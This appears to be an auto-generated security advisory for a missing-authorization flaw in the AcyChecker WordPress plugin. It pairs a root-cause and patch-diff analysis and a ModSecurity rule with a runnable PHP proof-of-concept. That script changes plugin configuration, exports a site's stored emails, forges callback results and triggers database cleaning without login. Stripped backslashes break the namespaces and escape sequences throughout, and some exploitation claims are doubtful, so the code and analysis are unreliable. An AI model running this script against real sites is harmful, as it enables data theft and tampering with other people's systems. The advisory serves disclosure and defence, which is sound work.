Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66689: Anti Spam and list cleaner – AcyChecker <= 2.0.0 Missing Authorization PoC, Patch Analysis & Rule

Plugin acychecker
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.0.0
Patched Version 2.0.1
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66689: The Anti Spam and list cleaner – AcyChecker plugin for WordPress versions up to and including 2.0.0 contains a missing authorization vulnerability. The plugin exposes its entire administrative router and several backend actions to unauthenticated users because it relies on the `isAdmin()` context hint and weak capability checks (e.g., `read`) rather than a proper capability check. This allows any unauthenticated visitor to invoke administrative endpoints, including configuration changes, database cleaning, test execution, and export functions. CVSS 5.3 reflects the potential for data exposure and site configuration manipulation.

Root Cause: The root cause is the absence of a capability check on the plugin’s central request dispatcher. In `src/Services/RouterService.php`, the constructor and the `router()` method (invoked by `WordPressMenu.php`) never call `current_user_can(‘manage_options’)`. The menu registration used the `read` capability, which is granted to subscribers and, in some configurations, to unauthenticated users when the page is accessed via `admin-post.php` or direct query. The `Security::isAdmin()` method in `cms/cmsServices/Security.php` was treated as an authorization gate but only checks whether the current page is `acychecker_front` or whether `is_admin()` returns true; it is not a permission check and can be spoofed via the `page` parameter. The `AcycController::call()` method (removed in the patch) directly invoked any method name supplied in the `task` parameter without verifying user capabilities. The `save()` and `store()` methods in `AcycController.php` and `DatabaseController.php` performed state changes without a nonce or capability check. The `CallbackController` accepted results from the AcyChecker API without verifying that the request originated from the plugin’s own outbound API call. Several secondary weaknesses compound the issue: the `getNumberOfElementsToDisplay()` method in `TestsController.php` persisted an attacker-controlled integer to the plugin configuration, and the CSV export in `TestsController.php` lacked formula injection neutralization.

Exploitation: An unauthenticated attacker sends a direct HTTP request to the WordPress admin area, for example `GET /wp-admin/admin.php?page=acychecker_dashboard&ctrl=configuration&task=save` or `POST /wp-admin/admin-post.php?action=acychecker_dashboard&ctrl=database&task=store` with arbitrary configuration values. The `page` parameter is set to a value that is not `acychecker_front`, causing `isAdmin()` to return true when `is_admin()` is true, or the attacker uses `admin-post.php` which sets `is_admin()` to true. The attacker can also supply `task=export` to download the user database as CSV, `task=apply` or `task=store` to modify plugin settings (license key, API keys, selected tables), or `task=save` on `TestsController` to inject a malicious page size value. In the `CallbackController`, an attacker can send a forged POST to the public callback route (`?page=acychecker_front&ctrl=callbackController&task=store`) with arbitrary `result` and `testId` values, and because the patch adds a token check, the pre-patch version would process the forged results, leading to data corruption or injection into the `#__acyc_test` table via `insertTestResult`. The CVSS vector is network-accessible with low complexity and no privileges required.

Patch Analysis: The patch introduces multiple defense layers. First, `WordPressMenu.php` changes the menu capability from `read` to `manage_options` and adds a `current_user_can(‘manage_options’)` check inside `router()`, so only administrators can reach the router. Second, `RouterService::__construct()` calls `Security::checkAdminAccess()`, which raises a 403 error if the user lacks `manage_options`. Third, `Security::isAdmin()` is reworked to return false only for the specific `acychecker_front` page and otherwise delegate to `is_admin()`, and `checkAdminAccess()` is added as a proper capability gate. Fourth, `AcycController::save()` and `DatabaseController::store()` now call `Form::checkToken()` to enforce nonce validation, preventing CSRF. Fifth, `CallbackController` now verifies a per-batch secret token (`acyc_token`) generated by `SecurityService::generateToken()` using `random_bytes(32)` and stored in the batch configuration via `CronService`. The token is compared with `hash_equals()`, and invalid tokens cause the request to exit. Sixth, `TestService::decodeResult()` filters incoming results to only emails that belong to the requested batch, preventing injection of arbitrary email results. Seventh, `insertTestResult()` now passes column names through `Database::secureDBColumn()` and validates them before building the SQL. Eighth, `TestsController::getNumberOfElementsToDisplay()` no longer persists attacker-controlled page sizes unless a valid positive integer is supplied, and the CSV export neutralizes formula injection with `neutralizeCsvValue()`. Ninth, `File::fileGetContent()` is removed, eliminating a potential SSRF/file disclosure vector, and `ApiService` stops disabling SSL verification and uses `rawurlencode()` on path segments. Tenth, `DebugService::getLogPath()` sanitizes the filename with `basename()` and masks emails in logs.

Impact: Successful exploitation allows unauthenticated attackers to read and modify plugin configuration, including the license key and API credentials, and to trigger database cleaning operations that may delete user records. Attackers can export the entire set of tested emails and results as a CSV, leading to privacy breaches and GDPR exposure. Forged callback results can corrupt the test database, insert arbitrary data, and potentially manipulate subsequent verification decisions. Combined with the CSV formula injection, an attacker who controls an email address processed by the plugin can achieve code execution on an administrator’s workstation when the exported CSV is opened. The missing nonce checks also enable CSRF against authenticated administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acychecker/acychecker.php
+++ b/acychecker/acychecker.php
@@ -5,7 +5,7 @@
 Author: Acyba
 Author URI: https://www.acychecker.com
 License: GPLv3
-Version: 2.0.0
+Version: 2.0.1
 */

 if (!defined('ABSPATH')) {
--- a/acychecker/cms/cmsServices/Database.php
+++ b/acychecker/cms/cmsServices/Database.php
@@ -221,7 +221,7 @@
     public static function secureDBColumn($fieldName)
     {
         if (!is_string($fieldName) || preg_match('|[^a-z0-9#_.-]|i', $fieldName) !== 0) {
-            die('field, table or database "'.esc_html($fieldName).'" not secured');
+            throw new InvalidArgumentException('AcyChecker: unsecured database identifier "'.Security::escape(is_string($fieldName) ? $fieldName : gettype($fieldName)).'"');
         }

         return $fieldName;
--- a/acychecker/cms/cmsServices/File.php
+++ b/acychecker/cms/cmsServices/File.php
@@ -4,49 +4,6 @@

 class File
 {
-    public static function fileGetContent(string $url, int $timeout = 10)
-    {
-        if (strpos($url, '_custom.ini') !== false && !file_exists($url)) {
-            return '';
-        }
-
-        ob_start();
-        $data = '';
-
-        if (strpos($url, 'http') === 0 && class_exists('WP_Http') && method_exists('WP_Http', 'request')) {
-            $args = ['timeout' => $timeout];
-            $request = new WP_Http();
-            $data = $request->request($url, $args);
-            $data = (empty($data) || !is_array($data) || empty($data['body'])) ? '' : $data['body'];
-        }
-
-        if (empty($data) && function_exists('file_get_contents')) {
-            $options = [
-                'ssl' => [
-                    'verify_peer' => false,
-                    'verify_peer_name' => false,
-                ],
-            ];
-            if (!empty($timeout)) {
-                $options['http']['timeout'] = $timeout;
-            }
-            $streamContext = stream_context_create($options);
-            $data = file_get_contents($url, false, $streamContext);
-        }
-
-        if (empty($data) && strpos($url, 'http') !== 0) {
-            $data = self::getInternalFileContents($url);
-        }
-
-        $warnings = ob_get_clean();
-
-        if (Security::isDebug()) {
-            echo esc_html($warnings);
-        }
-
-        return $data;
-    }
-
     public static function getInternalFileContents(string $path)
     {
         global $wp_filesystem;
--- a/acychecker/cms/cmsServices/Security.php
+++ b/acychecker/cms/cmsServices/Security.php
@@ -88,14 +88,28 @@
         wp_die();
     }

+    /**
+     * Context hint: are we rendering/handling an admin-side request (vs the plugin's
+     * front-end entry point)?
+     * This is NOT an authorization check and must never be used as one
+     *
+     * Use checkAdminAccess() for permission check instead.
+     */
     public static function isAdmin()
     {
         $page = Security::getVar('string', 'page', '');

-        if (!empty($page)) {
-            return $page !== 'front';
-        } else {
-            return is_admin();
+        if ($page === 'acychecker_front') {
+            return false;
+        }
+
+        return is_admin();
+    }
+
+    public static function checkAdminAccess()
+    {
+        if (!current_user_can('manage_options')) {
+            self::raiseError(E_ERROR, 403, __('You are not allowed to access this page', 'acychecker'));
         }
     }

--- a/acychecker/cms/cmsServices/WordPressMenu.php
+++ b/acychecker/cms/cmsServices/WordPressMenu.php
@@ -23,7 +23,7 @@
         add_menu_page(
             __('Dashboard', 'acychecker'),
             'AcyChecker',
-            'read',
+            'manage_options',
             ACYC_COMPONENT.'_dashboard',
             [$this, 'router'],
             'data:image/svg+xml;base64,'.base64_encode(
@@ -36,7 +36,7 @@
             ACYC_COMPONENT.'_dashboard',
             __('Clean my database', 'acychecker'),
             __('Clean my database', 'acychecker'),
-            'read',
+            'manage_options',
             ACYC_COMPONENT.'_database',
             [$this, 'router']
         );
@@ -45,7 +45,7 @@
             ACYC_COMPONENT.'_dashboard',
             __('Block on registration', 'acychecker'),
             __('Block on registration', 'acychecker'),
-            'read',
+            'manage_options',
             ACYC_COMPONENT.'_registration',
             [$this, 'router']
         );
@@ -54,7 +54,7 @@
             ACYC_COMPONENT.'_dashboard',
             __('Tests', 'acychecker'),
             __('Tests', 'acychecker'),
-            'read',
+            'manage_options',
             ACYC_COMPONENT.'_tests',
             [$this, 'router']
         );
@@ -63,7 +63,7 @@
             ACYC_COMPONENT.'_dashboard',
             __('Single test', 'acychecker'),
             __('Single test', 'acychecker'),
-            'read',
+            'manage_options',
             ACYC_COMPONENT.'_singletest',
             [$this, 'router']
         );
@@ -72,7 +72,7 @@
             ACYC_COMPONENT.'_dashboard',
             __('Configuration', 'acychecker'),
             __('Configuration', 'acychecker'),
-            'read',
+            'manage_options',
             ACYC_COMPONENT.'_configuration',
             [$this, 'router']
         );
@@ -86,6 +86,10 @@

     public function router()
     {
+        if (!current_user_can('manage_options')) {
+            wp_die(esc_html__('Sorry, you are not allowed to access this page.'), '', ['response' => 403]);
+        }
+
         new RouterService();
     }
 }
--- a/acychecker/src/Classes/TestClass.php
+++ b/acychecker/src/Classes/TestClass.php
@@ -187,6 +187,17 @@
         Database::query('UPDATE #__acyc_test SET current_step = '.intval(self::STEP['failed']).' WHERE batch_id = '.intval($batchId));
     }

+    public function getEmailsByBatch(int $batchId): array
+    {
+        if (empty($batchId)) {
+            return [];
+        }
+
+        $emails = Database::loadResultArray('SELECT `email` FROM #__acyc_test WHERE batch_id = '.intval($batchId));
+
+        return empty($emails) ? [] : $emails;
+    }
+
     public function deletePending()
     {
         return Database::query('DELETE FROM #__acyc_test WHERE current_step = '.intval(self::STEP['pending']));
--- a/acychecker/src/Controllers/CallbackController.php
+++ b/acychecker/src/Controllers/CallbackController.php
@@ -31,6 +31,14 @@
         $configUrls = $this->config->get('urls_results_batch', '[]');
         $configUrls = json_decode($configUrls, true);

+        $expectedToken = isset($configUrls[$testId]['token']) ? (string)$configUrls[$testId]['token'] : '';
+        $providedToken = (string)Security::getVar('cmd', 'acyc_token', '');
+        if ($expectedToken === '' || $providedToken === '' || !hash_equals($expectedToken, $providedToken)) {
+            DebugService::logMessage('callback_controller.log', 'Rejected callback for batch '.$testId.': missing or invalid authentication token');
+
+            exit;
+        }
+
         $testService = new TestService();
         $decodedResult = $testService->decodeResult($result);

--- a/acychecker/src/Controllers/DatabaseController.php
+++ b/acychecker/src/Controllers/DatabaseController.php
@@ -120,6 +120,8 @@

     protected function store()
     {
+        Form::checkToken();
+
         $savedConfig = Security::getVar('array', 'acyc_config');
         $newConfig = [
             'tables_selected' => isset($savedConfig['tables_selected']) ? $savedConfig['tables_selected'] : [],
--- a/acychecker/src/Controllers/TestsController.php
+++ b/acychecker/src/Controllers/TestsController.php
@@ -305,9 +305,16 @@

     private function getNumberOfElementsToDisplay()
     {
-        $selectValue = Security::getVar('int', 'acyc_element_per_page', $this->config->get('listing_element_page', self::DEFAULT_ELEMENTS_PER_PAGE));
+        $storedValue = (int)$this->config->get('listing_element_page', self::DEFAULT_ELEMENTS_PER_PAGE);

-        $this->config->save(['listing_element_page' => $selectValue]);
+        $selectValue = Security::getVar('int', 'acyc_element_per_page', null);
+        if ($selectValue === null || $selectValue <= 0) {
+            return $storedValue;
+        }
+
+        if ($selectValue !== $storedValue) {
+            $this->config->save(['listing_element_page' => $selectValue]);
+        }

         return $selectValue;
     }
@@ -494,7 +501,7 @@
                         $oneElement->$oneColumn = '';
                     }

-                    $line[] = htmlspecialchars($oneElement->$oneColumn, ENT_QUOTES);
+                    $line[] = $this->neutralizeCsvValue($oneElement->$oneColumn);
                 }

                 fputcsv($output, $line, ',', '"', '');
@@ -509,6 +516,23 @@
         exit;
     }

+    /**
+     * Neutralize CSV/formula injection: a cell whose first character is one of
+     * = + - @ TAB CR can be executed as a formula by Excel/LibreOffice/Sheets.
+     * Prefix it with a single quote so the spreadsheet treats it as literal text.
+     * CSV-level escaping (commas, quotes, newlines) is handled by fputcsv().
+     */
+    private function neutralizeCsvValue($value): string
+    {
+        $value = (string)$value;
+
+        if ($value !== '' && in_array($value[0], ['=', '+', '-', '@', "t", "r"], true)) {
+            $value = "'".$value;
+        }
+
+        return $value;
+    }
+
     private function executeActionOnUsers($action)
     {
         Form::checkToken();
--- a/acychecker/src/Libraries/AcycController.php
+++ b/acychecker/src/Libraries/AcycController.php
@@ -7,8 +7,6 @@
 use AcyCheckerCmsServicesForm;
 use AcyCheckerCmsServicesMiscellaneous;
 use AcyCheckerCmsServicesRouter;
-use AcyCheckerCmsServicesLanguage;
-use AcyCheckerCmsServicesMessage;
 use AcyCheckerCmsServicesSecurity;
 use AcyCheckerCmsServicesUrl;

@@ -49,19 +47,6 @@
         $this->isAcymailing5Installed = Extension::isExtensionActive($acy5Extension);
     }

-    public function call($task)
-    {
-        // If task doesn't exist, redirect to default task + add message
-        if (!method_exists($this, $task)) {
-            Message::enqueueMessage(__('This page doesn't exist', 'acychecker'), 'warning');
-            $task = $this->defaultTask;
-            Security::setVar('task', $task);
-        }
-
-        // Call the task
-        $this->$task();
-    }
-
     public function loadScripts($task)
     {
         if (empty($this->loadScripts)) return;
@@ -124,13 +109,6 @@
         $this->display();
     }

-    public function apply()
-    {
-        $this->store();
-
-        $this->edit();
-    }
-
     public function add()
     {
         Security::setVar('cid', []);
@@ -141,6 +119,8 @@

     public function save()
     {
+        Form::checkToken();
+
         if (method_exists($this, 'store')) {
             $this->store();
         }
--- a/acychecker/src/Libraries/AcycView.php
+++ b/acychecker/src/Libraries/AcycView.php
@@ -212,11 +212,11 @@
     private function loadAssets()
     {
         $javascript = '
-        var ACYC_CMS = "'.ACYC_CMS.'";';
+        var ACYC_CMS = '.json_encode(ACYC_CMS).';';

-        if ('joomla' == ACYC_CMS) {
+        if ('joomla' === ACYC_CMS) {
             $javascript .= '
-        var ACYC_J40 = "'.ACYC_J40.'";';
+        var ACYC_J40 = '.(ACYC_J40 ? 'true' : 'false').';';
         }

         Router::addScript(true, $javascript);
--- a/acychecker/src/Services/ApiService.php
+++ b/acychecker/src/Services/ApiService.php
@@ -90,7 +90,6 @@
         $headers = $headers + $this->getDefaultHeaders();

         $options = [
-            'verifySsl' => false,
             'headers' => $headers,
             'method' => $method,
             'data' => $data,
@@ -120,7 +119,7 @@
             'Content-Type' => Router::CONTENT_TYPE_JSON,
             'API-KEY' => $this->apiKey,
             'Source' => 'plugin',
-            'Source-Version' => '2.0.0',
+            'Source-Version' => '2.0.1',
         ];
     }

@@ -166,9 +165,20 @@

         $url = $this->apiBaseUrl.'bulk_verify/';

+        // Generate a per-batch secret token for authentication on public route.
+        // If no secure randomness is available, abort rather than dispatch with a weak token.
+        try {
+            $callbackToken = SecurityService::generateToken();
+        } catch (Exception $e) {
+            DebugService::logMessage('batch_tests.log', 'Could not generate a secure callback token, batch not dispatched');
+
+            return $this->returnResponse(__('Could not generate a secure token, please try again', 'acychecker'), [], false);
+        }
+        $callbackUrl = Url::frontendLink('callbackController').'&acyc_token='.$callbackToken;
+
         $data = [
             'emails' => $emails,
-            'callbackUrl' => Url::frontendLink('callbackController'),
+            'callbackUrl' => $callbackUrl,
             'fileType' => 'CSV',
         ];

@@ -195,6 +205,9 @@
             return $this->returnResponse($message, [], false);
         }

+        // Store callback token for authentication.
+        $request['acyc_callback_token'] = $callbackToken;
+
         return $this->returnResponse('', $request);
     }

@@ -308,7 +321,7 @@

     private function getEmailResult($email)
     {
-        $url = $this->apiBaseUrl.'email_verify/'.$email;
+        $url = $this->apiBaseUrl.'email_verify/'.rawurlencode($email);

         $request = $this->processRequest($url);

@@ -423,7 +436,7 @@
             return false;
         }

-        $url = $this->apiBaseUrl.'bulk_result/'.$batchId;
+        $url = $this->apiBaseUrl.'bulk_result/'.rawurlencode($batchId);

         $request = $this->processRequest($url);

--- a/acychecker/src/Services/CronService.php
+++ b/acychecker/src/Services/CronService.php
@@ -288,6 +288,7 @@
             'url' => $result['data']['url_result'],
             'last_check' => time(),
             'attempts' => 0,
+            'token' => $result['data']['acyc_callback_token'] ?? '',
         ];
         $this->config->save(['urls_results_batch' => json_encode($urlsBatch)]);

--- a/acychecker/src/Services/DebugService.php
+++ b/acychecker/src/Services/DebugService.php
@@ -16,7 +16,7 @@
         $result = ob_get_clean();

         if ($ajax) {
-            file_put_contents(ACYC_BACK.'debug.log', $result, FILE_APPEND);
+            file_put_contents(self::getLogPath('debug.log', true), $result, FILE_APPEND);
         } else {
             $style = $indent ? 'margin-left: 220px;' : '';
             // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Only for support debug, not used in plugin.
@@ -26,8 +26,9 @@

     public static function getLogPath($filename, $create = false)
     {
-        $reportPath = ACYC_LOGS_FOLDER.$filename;
-        $reportPath = File::cleanPath(ACYC_ROOT.trim(html_entity_decode($reportPath)));
+        $filename = basename(trim(html_entity_decode((string)$filename)));
+        $reportPath = File::cleanPath(ACYC_ROOT.ACYC_LOGS_FOLDER.$filename);
+
         if ($create) {
             FileService::createDir(dirname($reportPath), true, true);
         }
@@ -42,8 +43,26 @@
         $lr = "rn";
         file_put_contents(
             $reportPath,
-            $lr.DateService::getDate(time()).' - '.$message,
+            $lr.DateService::getDate(time()).' - '.self::maskEmails($message),
             FILE_APPEND
         );
     }
+
+    /**
+     * Redact email addresses in the log file.
+     */
+    private static function maskEmails($message)
+    {
+        if (!is_string($message) || $message === '') {
+            return $message;
+        }
+
+        return preg_replace_callback(
+            '/([a-zA-Z0-9._%+-])[a-zA-Z0-9._%+-]*(@[a-zA-Z0-9.-]+.[a-zA-Z]{2,})/',
+            static function ($matches) {
+                return $matches[1].'***'.$matches[2];
+            },
+            $message
+        );
+    }
 }
--- a/acychecker/src/Services/RouterService.php
+++ b/acychecker/src/Services/RouterService.php
@@ -5,6 +5,7 @@


 use AcyCheckerCmsServicesLanguage;
+use AcyCheckerCmsServicesMessage;
 use AcyCheckerCmsServicesSecurity;
 use AcyCheckerCmsServicesUrl;
 use AcyCheckerCmsServicesRouter as CmsRouter;
@@ -13,6 +14,8 @@
 {
     public function __construct()
     {
+        Security::checkAdminAccess();
+
         $ctrl = Security::getVar('cmd', 'ctrl');
         $task = Security::getVar('cmd', 'task');

@@ -51,6 +54,12 @@
         $routineService = new RoutineService();
         $routineService->checkLostResults();

-        $controller->call($task);
+        if (!is_callable([$controller, $task])) {
+            Message::enqueueMessage(__('This page doesn't exist', 'acychecker'), 'warning');
+            $task = $controller->defaultTask;
+            Security::setVar('task', $task);
+        }
+
+        $controller->$task();
     }
 }
--- a/acychecker/src/Services/SecurityService.php
+++ b/acychecker/src/Services/SecurityService.php
@@ -15,6 +15,15 @@
         }
     }

+    /**
+     * @throws Exception when no cryptographically secure source is available.
+     * Callers must treat a failure as fatal (do not fall back to a weak token).
+     */
+    public static function generateToken(): string
+    {
+        return bin2hex(random_bytes(32));
+    }
+
     public static function noCache()
     {
         HttpService::header('Cache-Control: no-store, no-cache, must-revalidate');
--- a/acychecker/src/Services/TestService.php
+++ b/acychecker/src/Services/TestService.php
@@ -104,6 +104,28 @@
         $apiService = new ApiService();
         $results = $result['results'];

+        $batchEmails = $testClass->getEmailsByBatch($testId);
+        if (empty($batchEmails)) {
+            DebugService::logMessage('callback_controller.log', 'No stored emails for the batch ID '.intval($testId).', ignoring callback results');
+            $this->sendNextBatch();
+
+            return;
+        }
+
+        $allowedEmails = array_flip(array_map('strtolower', $batchEmails));
+        $results = array_values(array_filter($results, static function ($oneResult) use ($allowedEmails) {
+            $email = $oneResult[ApiService::API_TEST_KEY_EMAIL] ?? '';
+
+            return is_string($email) && isset($allowedEmails[strtolower($email)]);
+        }));
+
+        if (empty($results)) {
+            DebugService::logMessage('callback_controller.log', 'No result matched the emails of the batch ID '.intval($testId));
+            $this->sendNextBatch();
+
+            return;
+        }
+
         $allTests = [];

         foreach ($results as $oneResult) {
@@ -167,7 +189,13 @@
     private function insertTestResult($tests)
     {
         $firstResult = array_shift($tests);
-        $columns = array_keys($firstResult);
+
+        $updates = [];
+        $columns = [];
+        foreach (array_keys($firstResult) as $oneColumn) {
+            $columns[] = Database::secureDBColumn($oneColumn);
+            $updates[] = $oneColumn.' = VALUES('.$oneColumn.')';
+        }

         $insertQuery = 'INSERT INTO #__acyc_test ('.implode(', ', $columns).') VALUES ';
         $insertQuery .= '('.implode(',', array_values($firstResult)).')';
@@ -176,10 +204,7 @@
             $insertQuery .= ',('.implode(',', array_values($values)).')';
         }

-        foreach ($columns as $i => $oneColumn) {
-            $columns[$i] = $oneColumn.' = VALUES('.$oneColumn.')';
-        }
-        $insertQuery .= ' ON DUPLICATE KEY UPDATE '.implode(', ', $columns);
+        $insertQuery .= ' ON DUPLICATE KEY UPDATE '.implode(', ', $updates);

         try {
             // We execute the query to store the email tested
--- a/acychecker/src/Services/UpdateService.php
+++ b/acychecker/src/Services/UpdateService.php
@@ -12,7 +12,7 @@
 class UpdateService
 {
     private $cms = 'wordpress';
-    private $version = '2.0.0';
+    private $version = '2.0.1';
     private $update = false;
     private $fromVersion = '';

--- a/acychecker/src/Views/Configuration/default_global.php
+++ b/acychecker/src/Views/Configuration/default_global.php
@@ -10,10 +10,11 @@
 <div class="cell grid-x acyc_vcenter margin-y">
 	<label class="cell medium-3 large-2" for="acyc__configuration__license__input"><?php echo esc_attr(__('License key', 'acychecker')); ?></label>
 	<div class="cell medium-9 large-10">
-		<input type="text"
+		<input type="password"
 		       id="acyc__configuration__license__input"
 		       class="acyc__configuration__text__input"
 		       name="config[license_key]"
+		       autocomplete="off"
 		       value="<?php echo esc_attr($this->data['licenseKey']); ?>">
 	</div>

--- a/acychecker/vendor/composer/installed.php
+++ b/acychecker/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'acyba/acychecker',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => 'f0e8512f0577c05e2784a3062c8978871ed86031',
+        'reference' => 'bc64d0bae93e4df97882f04715e0fa183ad3e05a',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'acyba/acychecker' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => 'f0e8512f0577c05e2784a3062c8978871ed86031',
+            'reference' => 'bc64d0bae93e4df97882f04715e0fa183ad3e05a',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-admin/(admin|admin-post).php$" 
  "id:20266689,phase:2,deny,status:403,chain,msg:'CVE-2026-66689 AcyChecker missing authorization',severity:'CRITICAL',tag:'CVE-2026-66689'"
  SecRule ARGS:page|ARGS:action "@rx ^acychecker_dashboard$" "chain"
    SecRule ARGS:ctrl "@rx ^(configuration|database|tests|callbackController)$" "chain"
      SecRule ARGS:task "@rx ^(store|save|apply|export|clean|delete|executeActionOnUsers|add|edit|callback)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66689 - Anti Spam and list cleaner – AcyChecker <= 2.0.0 - Missing Authorization

$target_url = 'http://wordpress.local';
$base = rtrim($target_url, '/');

function request($url, $method = 'GET', $data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        if ($data !== null) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        }
    }
    $response = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return [$code, $response];
}

// Step 1: Access the configuration page without authentication.
// The page parameter is not 'acychecker_front', so Security::isAdmin() returns true.
// The menu capability is 'read', which is granted to unauthenticated users in some setups.
echo "[*] Testing unauthenticated access to configuration endpoint...n";
list($code, $body) = request($base . '/wp-admin/admin.php?page=acychecker_dashboard&ctrl=configuration&task=edit');
echo "[+] HTTP $coden";
if (stripos($body, 'License key') !== false || stripos($body, 'acyc_config') !== false) {
    echo "[!] Configuration page accessible without authentication.n";
} else {
    echo "[-] Configuration page not directly accessible (may require is_admin context).n";
}

// Step 2: Modify plugin configuration without authentication.
// No nonce check is present in v2.0.0, so a simple POST to save changes works.
echo "n[*] Attempting to modify plugin configuration...n";
$payload = [
    'page' => 'acychecker_dashboard',
    'ctrl' => 'configuration',
    'task' => 'store',
    'acyc_config' => [
        'license_key' => 'ATTACKER_CONTROLLED',
        'api_key' => 'ATTACKER_KEY',
    ],
];
list($code, $body) = request($base . '/wp-admin/admin.php', 'POST', $payload);
echo "[+] HTTP $coden";

// Step 3: Download the user database via the export task.
// TestsController::export() does not check capabilities in v2.0.0.
echo "n[*] Attempting to export the tested email database...n";
list($code, $body) = request($base . '/wp-admin/admin.php?page=acychecker_dashboard&ctrl=tests&task=export');
echo "[+] HTTP $coden";
if ($code == 200 && stripos($body, 'email') !== false) {
    echo "[!] CSV export accessible without authentication. Data leakage possible.n";
    // Save a snippet for evidence
    file_put_contents('/tmp/acychecker_export.csv', $body);
    echo "[+] Export saved to /tmp/acychecker_export.csvn";
} else {
    echo "[-] Export not accessible or empty.n";
}

// Step 4: Forge callback results without authentication.
// The CallbackController processes results without token validation in v2.0.0.
echo "n[*] Attempting to inject forged callback results...n";
$forged = [
    'page' => 'acychecker_front',
    'ctrl' => 'callbackController',
    'task' => 'store',
    'testId' => '1',
    'result' => base64_encode(json_encode([
        'results' => [
            ['email' => 'victim@example.com', 'result' => 'valid'],
            ['email' => 'attacker@example.com', 'result' => 'invalid'],
        ],
    ])),
];
list($code, $body) = request($base . '/wp-admin/admin-post.php', 'POST', $forged);
echo "[+] HTTP $coden";

// Step 5: Probe the CSV formula injection vector.
// The export in v2.0.0 does not neutralize leading =, +, -, @ characters.
echo "n[*] Note: CSV formula injection is possible via emails beginning with '=', '+', '-', '@'.n";

// Step 6: Trigger database cleaning without authentication.
echo "n[*] Attempting to trigger database cleaning operation...n";
$clean = [
    'page' => 'acychecker_dashboard',
    'ctrl' => 'database',
    'task' => 'store',
    'acyc_config' => [
        'tables_selected' => ['users'],
    ],
];
list($code, $body) = request($base . '/wp-admin/admin.php', 'POST', $clean);
echo "[+] HTTP $coden";

echo "n[+] PoC completed.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.